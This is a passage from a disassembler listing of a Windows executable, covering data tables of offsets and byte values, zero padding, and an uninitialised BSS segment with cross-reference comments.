		db    0	;  
		db    0	;  
		dd offset dword_413B6C+38h
		db  4Dh	; M
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_413B6C+50h
		db  80h	; ─
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_413B6C+64h
		db  81h	; │
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_413B6C+80h
		db  82h	; ┌
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_413B6C+98h
		db  86h	; ├
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_413B6C+0B0h
		db  88h	; ┬
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_413B6C+0C8h
		db 0A1h	; ║
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_413B6C+0E4h
		db 0A2h	; ╒
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_413B6C+0FCh
		db 0B1h	; ╠
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_413B6C+114h
		db 0B2h	; ╡
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_413B6C+12Ch
		db 0BAh	; ╨
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_413B6C+144h
		db 0CCh	; л
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_413B6C+15Ch
		db 0DEh	; ч
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_413B6C+174h
		db 0EEh	; Н
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_413B6C+18Ch
		db 0FFh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_413B6C+1A8h
word_41DA38	dw 0			; DATA XREF: sub_413EF0+3Dr
		db    1	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    3	;  
		db    0	;  
		db    4	;  
		db    0	;  
		db    5	;  
		db    0	;  
		db    6	;  
		db    0	;  
		db  8Bh	; ▀
		db 0C0h	; ю
word_41DA48	dw 1			; DATA XREF: sub_4142E4+1Cr
		db  10h	;  
		db    0	;  
		db  0Bh	;  
		db    0	;  
		db    6	;  
		db    0	;  
		db  0Dh	;  
		db    0	;  
		db    4	;  
		db    0	;  
		db  0Eh	;  
		db    0	;  
		db    5	;  
		db    0	;  
		db  0Ch	;  
		db    0	;  
		db    3	;  
		db    0	;  
		db  0Fh	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    9	;  
		db    0	;  
		db    8	;  
		db    0	;  
		db    7	;  
		db    0	;  
		db  0Ah	;  
		db    0	;  
dword_41DA68	dd 0			; DATA XREF: sub_415C9C+31r
dword_41DA6C	dd 0			; DATA XREF: sub_415C9C+27r
dword_41DA70	dd 0			; DATA XREF: sub_415434+6r
					; sub_415434+93r ...
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		db    0	;  
		db    0	;  
		db  80h	; ─
		db  80h	; ─
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		db    0	;  
		db  80h	; ─
		db    0	;  
		db  80h	; ─
		db    0	;  
		db    0	;  
		db  80h	; ─
		db  80h	; ─
		db    0	;  
		db  80h	; ─
		db  80h	; ─
		db  80h	; ─
		db    0	;  
		db 0C0h	; ю
		db 0C0h	; ю
		db 0C0h	; ю
		db    0	;  
		db 0FFh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FFh	;  
		db    0	;  
		db    0	;  
		db 0FFh	;  
		db 0FFh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FFh	;  
		db    0	;  
		db 0FFh	;  
		db    0	;  
		db 0FFh	;  
		db    0	;  
		db    0	;  
		db 0FFh	;  
		db 0FFh	;  
		db    0	;  
		db 0FFh	;  
		db 0FFh	;  
		db 0FFh	;  
		db    0	;  
off_41DAB4	dd offset off_406074	; DATA XREF: CODE:0040A888o
off_41DAB8	dd offset off_405FE4	; DATA XREF: CODE:0040A63Co
off_41DABC	dd offset off_405F24	; DATA XREF: CODE:0040A6D4o
off_41DAC0	dd offset off_4060C4	; DATA XREF: CODE:0040A810o
off_41DAC4	dd offset off_406104	; DATA XREF: CODE:0040A7B0o
off_41DAC8	dd offset off_40616C	; DATA XREF: CODE:0040A714o
off_41DACC	dd offset off_406094	; DATA XREF: CODE:0040A858o
off_41DAD0	dd offset off_40B44C	; DATA XREF: sub_415A34+3r
					; sub_415A48+3r
off_41DAD4	dd offset dword_41E018	; DATA XREF: sub_409B0C+9Br
off_41DAD8	dd offset off_406014	; DATA XREF: sub_409A30+73r
					; CODE:0040A614o
off_41DADC	dd offset off_40617C	; DATA XREF: CODE:0040A6FCo
off_41DAE0	dd offset dword_41E004	; DATA XREF: sub_409B0C+57r
					; sub_409BD8+34r
off_41DAE4	dd offset off_406154	; DATA XREF: CODE:0040A738o
off_41DAE8	dd offset off_40604C	; DATA XREF: sub_40A398+46r
off_41DAEC	dd offset off_40607C	; DATA XREF: CODE:0040A87Co
off_41DAF0	dd offset off_40B43C	; DATA XREF: sub_4143D8+16r
off_41DAF4	dd offset off_405F3C	; DATA XREF: CODE:0040A6BCo
off_41DAF8	dd offset off_40615C	; DATA XREF: CODE:0040A72Co
off_41DAFC	dd offset off_40613C	; DATA XREF: CODE:0040A75Co
off_41DB00	dd offset off_406164	; DATA XREF: CODE:0040A720o
off_41DB04	dd offset unk_41E010	; DATA XREF: sub_409B0C+6Dr
					; sub_409BD8+46r
off_41DB08	dd offset off_405F0C	; DATA XREF: sub_409608+44r
off_41DB0C	dd offset off_405FBC	; DATA XREF: CODE:00409417r
off_41DB10	dd offset off_405F04	; DATA XREF: sub_409B0C+18r
off_41DB14	dd offset off_40609C	; DATA XREF: CODE:0040A84Co
off_41DB18	dd offset off_405F44	; DATA XREF: CODE:0040A6B4o
off_41DB1C	dd offset off_405FC4	; DATA XREF: CODE:0040A8C4o
off_41DB20	dd offset off_40603C	; DATA XREF: sub_4097A4+10r
off_41DB24	dd offset off_40B414	; DATA XREF: sub_40D2F0+32r
off_41DB28	dd offset off_40B434	; DATA XREF: CODE:004159E1r
					; CODE:004159FDr
off_41DB2C	dd offset off_4060EC	; DATA XREF: CODE:0040A7D4o
off_41DB30	dd offset unk_41E214	; DATA XREF: CODE:004093FAr
off_41DB34	dd offset off_40610C	; DATA XREF: CODE:0040A7A4o
off_41DB38	dd offset unk_41E570	; DATA XREF: sub_411110+45r
					; sub_411110+76r ...
off_41DB3C	dd offset off_406004	; DATA XREF: CODE:0040A62Co
off_41DB40	dd offset off_406054	; DATA XREF: sub_40A398+5Ar
off_41DB44	dd offset off_40B424	; DATA XREF: sub_4143C0r
off_41DB48	dd offset unk_41E008	; DATA XREF: sub_409B0C+7Ar
					; sub_409BD8+4Fr
off_41DB4C	dd offset off_40B42C	; DATA XREF: sub_4143CCr
off_41DB50	dd offset off_4060CC	; DATA XREF: CODE:0040A804o
off_41DB54	dd offset dword_41E000	; DATA XREF: sub_409B0C+62r
					; sub_409BD8+3Dr
off_41DB58	dd offset dword_41E00C	; DATA XREF: sub_409B0C+85r
					; sub_409BD8+58r
off_41DB5C	dd offset unk_41E510	; DATA XREF: sub_411110+AEr
					; sub_411110+11Cr
off_41DB60	dd offset off_40B444	; DATA XREF: sub_414244+2Br
off_41DB64	dd offset off_406114	; DATA XREF: CODE:0040A798o
off_41DB68	dd offset off_405F9C	; DATA XREF: CODE:0040A654o
off_41DB6C	dd offset off_405FA4	; DATA XREF: CODE:0040A65Co
off_41DB70	dd offset off_40B454	; DATA XREF: sub_40E62C+11r
off_41DB74	dd offset off_40614C	; DATA XREF: CODE:0040A744o
off_41DB78	dd offset off_405F14	; DATA XREF: CODE:0040A6E4o
off_41DB7C	dd offset off_405F5C	; DATA XREF: CODE:0040A69Co
off_41DB80	dd offset off_405FCC	; DATA XREF: CODE:0040A8B8o
off_41DB84	dd offset off_40B46C	; DATA XREF: sub_40C428+51r
off_41DB88	dd offset off_405FFC	; DATA XREF: CODE:0040A634o
off_41DB8C	dd offset off_4060BC	; DATA XREF: CODE:0040A81Co
off_41DB90	dd offset off_40B40C	; DATA XREF: sub_40D5D0+Fr
					; sub_40D680+Fr
off_41DB94	dd offset off_40B404	; DATA XREF: sub_40C2E4+14r
off_41DB98	dd offset off_406024	; DATA XREF: CODE:0040A60Co
off_41DB9C	dd offset off_40B3C4	; DATA XREF: sub_40C560+89r
off_41DBA0	dd offset off_4060E4	; DATA XREF: CODE:0040A7E0o
off_41DBA4	dd offset off_405FDC	; DATA XREF: CODE:0040A644o
off_41DBA8	dd offset off_405EF4	; DATA XREF: sub_407CB8+3Dr
off_41DBAC	dd offset off_4060D4	; DATA XREF: CODE:0040A7F8o
off_41DBB0	dd offset off_4060F4	; DATA XREF: CODE:0040A7C8o
off_41DBB4	dd offset off_40B3E4	; DATA XREF: sub_40D8BC+1Cr
off_41DBB8	dd offset off_40B45C	; DATA XREF: sub_40EA08+47r
off_41DBBC	dd offset off_405FD4	; DATA XREF: CODE:0040A64Co
off_41DBC0	dd offset off_406064	; DATA XREF: CODE:0040A8A0o
off_41DBC4	dd offset off_4060A4	; DATA XREF: CODE:0040A840o
off_41DBC8	dd offset off_406134	; DATA XREF: CODE:0040A768o
off_41DBCC	dd offset off_40B3FC	; DATA XREF: sub_40C2A8+13r
off_41DBD0	dd offset off_405F34	; DATA XREF: CODE:0040A6C4o
off_41DBD4	dd offset off_405F74	; DATA XREF: CODE:0040A684o
off_41DBD8	dd offset off_4060DC	; DATA XREF: CODE:0040A7ECo
off_41DBDC	dd offset off_405F84	; DATA XREF: sub_409B0C+39r
off_41DBE0	dd offset off_406144	; DATA XREF: CODE:0040A750o
off_41DBE4	dd offset off_405F7C	; DATA XREF: CODE:0040A67Co
off_41DBE8	dd offset off_40B41C	; DATA XREF: sub_40DDC4r
off_41DBEC	dd offset off_40611C	; DATA XREF: CODE:0040A78Co
off_41DBF0	dd offset unk_41E014	; DATA XREF: sub_409B0C+90r
					; sub_409BD8+61r
off_41DBF4	dd offset off_40602C	; DATA XREF: CODE:0040A604o
off_41DBF8	dd offset off_405FF4	; DATA XREF: sub_409864+54r
off_41DBFC	dd offset unk_41D700	; DATA XREF: sub_412184+4Dr
off_41DC00	dd offset off_406174	; DATA XREF: CODE:0040A708o
off_41DC04	dd offset off_405EFC	; DATA XREF: sub_407E90+38r
off_41DC08	dd offset off_405F2C	; DATA XREF: CODE:0040A6CCo
off_41DC0C	dd offset off_40601C	; DATA XREF: sub_4096CC+38r
					; CODE:0040A61Co
off_41DC10	dd offset off_4060FC	; DATA XREF: CODE:0040A7BCo
off_41DC14	dd offset off_406124	; DATA XREF: CODE:0040A780o
off_41DC18	dd offset byte_41E040	; DATA XREF: CODE:004093ECr
off_41DC1C	dd offset off_40612C	; DATA XREF: CODE:0040A774o
off_41DC20	dd offset off_40600C	; DATA XREF: CODE:0040A624o
off_41DC24	dd offset off_40B3F4	; DATA XREF: sub_40C11C+10r
					; sub_40C20C+Fr ...
off_41DC28	dd offset off_406044	; DATA XREF: sub_409864+110r
off_41DC2C	dd offset off_40B3CC	; DATA XREF: sub_40D940+43r
off_41DC30	dd offset byte_41E042	; DATA XREF: sub_416478+F2r
					; sub_416A1C+52r ...
off_41DC34	dd offset unk_41C004	; DATA XREF: sub_40DBA8+3Ar
					; sub_40DBA8+4Dr
off_41DC38	dd offset off_40B3D4	; DATA XREF: sub_40D940+7Cr
off_41DC3C	dd offset off_40608C	; DATA XREF: CODE:0040A864o
off_41DC40	dd offset off_406034	; DATA XREF: sub_4096CC+63r
off_41DC44	dd offset off_4060AC	; DATA XREF: CODE:0040A834o
off_41DC48	dd offset off_406184	; DATA XREF: CODE:0040A6F0o
off_41DC4C	dd offset off_40606C	; DATA XREF: CODE:0040A894o
off_41DC50	dd offset off_405F94	; DATA XREF: sub_409864+16Cr
					; CODE:0040A66Co
off_41DC54	dd offset off_40B3DC	; DATA XREF: sub_40D884+1Cr
					; sub_40DE64+1Br
off_41DC58	dd offset off_405F1C	; DATA XREF: CODE:0040A6DCo
off_41DC5C	dd offset off_405FAC	; DATA XREF: CODE:0040A664o
off_41DC60	dd offset off_405F54	; DATA XREF: CODE:0040A6A4o
off_41DC64	dd offset off_405F4C	; DATA XREF: CODE:0040A6ACo
off_41DC68	dd offset off_4060B4	; DATA XREF: CODE:0040A828o
off_41DC6C	dd offset off_40B3EC	; DATA XREF: sub_40DBA8+65r
off_41DC70	dd offset off_405F64	; DATA XREF: CODE:0040A694o
off_41DC74	dd offset off_40605C	; DATA XREF: CODE:0040A8ACo
off_41DC78	dd offset off_405FB4	; DATA XREF: CODE:0040932Er
off_41DC7C	dd offset off_405F8C	; DATA XREF: CODE:0040A674o
off_41DC80	dd offset off_405F6C	; DATA XREF: CODE:0040A68Co
		dd offset unk_41E5A8
off_41DC88	dd offset off_405FEC	; DATA XREF: sub_409864+45r
off_41DC8C	dd offset off_406084	; DATA XREF: CODE:0040A870o
off_41DC90	dd offset off_40B464	; DATA XREF: sub_40EA70+41r
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
DATA		ends

; Section 3. (virtual address 0001E000)
; Virtual size			: 00000F25 (   3877.)
; Section size in file		: 00000000 (	  0.)
; Offset to raw	data for section: 0001CA00
; Flags	C0000000: Readable Writable
; Alignment	: 16 bytes ?
; ммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

; Segment type:	Regular
BSS		segment	para public '' use32
		assume cs:BSS
		;org 41E000h
		assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
dword_41E000	dd ?			; DATA XREF: CODE:00403175r
					; DATA:0041DB54o
dword_41E004	dd ?			; DATA XREF: sub_402618+3r
					; DATA:0041DAE0o
unk_41E008	db ? ; unexplored	; DATA XREF: DATA:0041DB48o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_41E00C	dd ?			; DATA XREF: CODE:00402E59r
					; CODE:00403153r ...
unk_41E010	db ? ; unexplored	; DATA XREF: DATA:0041DB04o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
unk_41E014	db ? ; unexplored	; DATA XREF: DATA:0041DBF0o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_41E018	dd ?			; DATA XREF: CODE:004027FCr
					; CODE:00402805r ...
dword_41E01C	dd ?			; DATA XREF: sub_4032A0+17w
dword_41E020	dd ?			; DATA XREF: sub_405880+D5w
byte_41E024	db ?			; DATA XREF: sub_4032A0+22w
		align 4
dword_41E028	dd ?			; DATA XREF: sub_405880+CBw
dword_41E02C	dd ?			; DATA XREF: sub_405880+C1w
dword_41E030	dd ?			; DATA XREF: sub_40330C+1r
					; sub_40335C+24w ...
unk_41E034	db ? ; unexplored	; DATA XREF: sub_403390+Eo
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_41E038	dd ?			; DATA XREF: sub_40330C+1Fr
					; sub_40330C+2Ar ...
dword_41E03C	dd ?			; DATA XREF: sub_4027C0+31w
					; sub_4028F4r ...
byte_41E040	db ?			; DATA XREF: sub_403390+3Dr
					; DATA:0041DC18o
byte_41E041	db ?			; DATA XREF: sub_401904+1Br
					; sub_401904+A2r ...
byte_41E042	db ?			; DATA XREF: CODE:00405058r
					; sub_40510D+2r ...
byte_41E043	db ?			; DATA XREF: sub_405880+3Aw
byte_41E044	db ?			; DATA XREF: sub_405880+41w
		align 4
unk_41E048	db ? ; unexplored	; DATA XREF: sub_404F80+2Co
					; sub_405818+19o ...
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
